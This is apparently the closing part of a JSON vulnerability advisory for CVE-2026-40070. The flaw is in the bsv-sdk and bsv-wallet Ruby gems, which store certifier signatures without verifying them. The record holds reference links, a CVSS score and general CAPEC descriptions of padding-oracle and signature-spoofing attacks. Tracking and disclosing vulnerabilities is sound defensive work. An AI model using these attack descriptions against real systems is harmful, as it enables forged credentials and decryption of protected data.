"type": "WEB",
"url": "https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40070"
},
{
"type": "WEB",
"url": "https://github.com/sgbett/bsv-ruby-sdk/issues/305"
},
{
"type": "WEB",
"url": "https://github.com/sgbett/bsv-ruby-sdk/pull/306"
},
{
"type": "WEB",
"url": "https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc"
},
{
"type": "WEB",
"url": "https://brc.dev/52"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bsv-sdk/CVE-2026-40070.yml"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bsv-wallet/CVE-2026-40070.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/sgbett/bsv-ruby-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "bsv-sdk and bsv-wallet persist unverified certifier signatures in acquire_certificate (direct and issuance paths)"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.